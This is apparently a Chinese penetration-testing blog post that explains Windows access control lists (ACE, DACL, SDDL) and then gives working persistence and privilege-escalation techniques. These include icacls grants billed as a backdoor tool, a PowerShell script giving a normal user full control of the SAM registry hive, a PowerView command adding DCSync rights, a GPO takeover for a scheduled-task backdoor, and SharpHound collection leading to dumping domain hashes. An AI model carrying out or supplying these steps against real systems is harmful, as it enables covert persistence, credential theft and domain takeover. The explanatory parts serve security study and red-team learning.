前言:對之前的https://www.cnblogs.com/zpchcbd/p/12374668.html再進行學習一次
參考文章:https://3gstudent.github.io/3gstudent.github.io/滲透技巧-Windows下的Access-Control-List/
參考文章:https://xz.aliyun.com/t/7724#toc-9
參考文章:https://www.freebuf.com/sectool/179002.html
ACL的介紹:
ACL:Access Control List,用來表示用戶(組)權限的列表,包括DACL和SACL
ACE:Access Control Entry,ACL中的元素
DACL:Discretionary Access Control List,用來表示安全對象權限的列表
SACL:System Access Control List,用來記錄對安全對象訪問的日志
如何理解?
ACE:可以理解 當前安全對象的限制,一個用戶/用戶組對該安全對象的 是否可讀 是否可寫,那么此時ACE就是可讀 可寫這兩個東西
DACL:可以理解對 當前安全對象的限制,比如 a用戶/用戶組對該安全對象的XXX權限 b用戶/用戶組對該安全對象的XXX權限,那么此時DACL則為兩條數目
例如對某個文件進行訪問,系統將做以下判斷:
如果沒有DACL,系統將允許訪問,可以理解為任何的用戶/用戶組都沒有限制,那么也就是什么都能干
如果存在DACL,但沒有ACE,系統將拒絕所有訪問 可以理解為存在對a用戶/用戶組的限制,但是沒有ACE,也就是不允許任何操作,那么也就是什么都不能干
如果存在DACL,也存在ACE,那么會按照每個ACE指定允許或拒絕 可以理解為存在對a用戶/用戶組的限制,但是有ACE,也就是對應的ACE都可以進行操作,不存在的ACE則不可以進行操作
還需要知道的:ACE並不是單方面的允許/拒絕,允許和拒絕的權限都可以由ACE來進行表示,所以ACE還可以細分:
1、誰對你有權限
2、是允許還是拒絕
3、有什么權限
4、這個權限能不能被繼承
ACL的表現方式:
存儲位置 nTSecurityDescriptor
存儲格式 SDDL(Security Descriptor Definition Language)
SDDL(
A; ACE類型(允許/拒絕/審核)
CIID; ACE標志(繼承和審核設置)
GW; 權限(增量權限列表)
00299570-246d-11d0-a768-00aa006e0529; 對象類型(GUID)
; 繼承的對象類型(GUID)
S-1-5-21-1812960810-2335050734-3517558805-1103 受托人SID
)
拿上面的講下,查詢了A用戶的nTSecurityDescriptor,SDDL為如上,其中最后一個是委托人SID,一般這個都是指向其他用戶的,比如B用戶,那么這條SDDL表示 B用戶對A用戶有00299570-246d-11d0-a768-00aa006e0529
的權限,00299570-246d-11d0-a768-00aa006e0529實際上的權限是能夠強制修改密碼,那么相當於B用戶就能控制A用戶
哪里會用到ACL:
Windows訪問控制模型中會用到ACL,比如文件、注冊表的權限都包括ACL,用來表示哪些用戶(組)具有操作權限
如何查看文件、注冊表的權限對應的ACL:
這里就需要用到icacls了,這個工具是windows自帶的
注:(OI)代表對象繼承 (CI)代表容器繼承 (F)代表完全訪問
1、添加用戶test1對指定文件(包括當前目錄及其子目錄中的文件)的完全訪問權限(添加后門利器)
icacls C:\Windows\SYSVOL\sysvol\test.com /grant test1:(OI)(CI)(F) /t
2、備份指定文件(包括當前目錄及其子目錄中的文件)的ACL
icacls C:\Windows\SYSVOL\sysvol\test.com /save AclFile /t
3、還原指定文件(包括當前目錄及其子目錄中的文件)的ACL
這里需要注意的細節: 還原時,路徑需要設置為上級目錄
icacls C:\Windows\SYSVOL\sysvol\ /restore AclFile /t
4、移除用戶test1對指定文件(包括當前目錄及其子目錄中的文件)的完全訪問權限
icacls C:\Windows\SYSVOL\sysvol\test.com /remove test1 /t
非域的環境下,ACL可以如何利用?
權限維持:添加普通用戶的完全訪問權限,作為提權后門
1、比如一些需要高權限才能進行dll劫持的文件夾,比如Google的更新程序,來到更新程序的目錄下進行設置權限
icacls Update /grant everyone:f
2、注冊表的利用,正常高權限才能導出sam數據庫進行解密獲取hash值,權限維持也可以在這方面下手
$acl = Get-Acl HKLM:\SAM
$person = [System.Security.Principal.NTAccount]"apache"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl HKLM:\SAM $acl
3、注冊表/路徑的ACL利用,正常高權限的啟動項才能寫,權限維持也可以在這方面下手
域環境下,ACL可以如何利用?
域和ACL的關系圖如下:
1、DCSync后門
使用的是PowerView腳本
添加ACL Add-DomainObjectAcl -TargetIdentity "DC=pentest,DC=God" -PrincipalIdentity yuyonghu01 -Rights DCSync
刪除ACL Remove-DomainObjectAcl -TargetIdentity "DC=pentest,DC=God" -PrincipalIdentity yuyonghu01 -Rights DCSync
添加完ACL可以可以進行查看指定用戶的DACL,看看是怎么樣的,多了三個DACL!
2、在域控中添加GPO后門,也就是對對應的組策略的編號ScheduledTasks.xml的command標簽內容進行修改,到時候域中的機器進行自動更新組策略的時候會應用
該GroupPolicy模塊自己發現只有在域控中有,其他域機器默認是沒有的
Import-Module GroupPolicy
Get-GPO -All
添加用戶test1對TestGPO的完全訪問權限
$RawObject = Get-DomainGPO -Raw -Identity 'TestGPO' #這里填寫你的創建的組策略的名稱
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right #這里填寫你的用戶名
AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()
查看DACL可以發現如下:
3、ACL配置不當造成的域提權
4、創建ntds.dit的文件共享,添加ACL,后續可以使用域內普通用戶訪問域控制器的ntds.dit文件,讀取域內所有用戶的hash
域中BloodHound的使用:
用來采集域內ACL的工具:https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.exe
采集完之后可以導入BloodHound進行分析
我這里把SharpHound.exe放入一台普通的域機器中
程序是需要.net支持的,2012的機器上自帶.net4.0
執行:SharpHound.exe -c all
將生成的文件下載到本地,打開BloodHound進行導入操作
拿起剛才我們給yuyonghu01設置的DCSync的權限,我們可以在BloodHound中觀察到
那么之后就可以繼續定位到yuyonghu01的機器,對當前該機器進行攻擊拿下之后憑借DCSync的權限導出域哈希!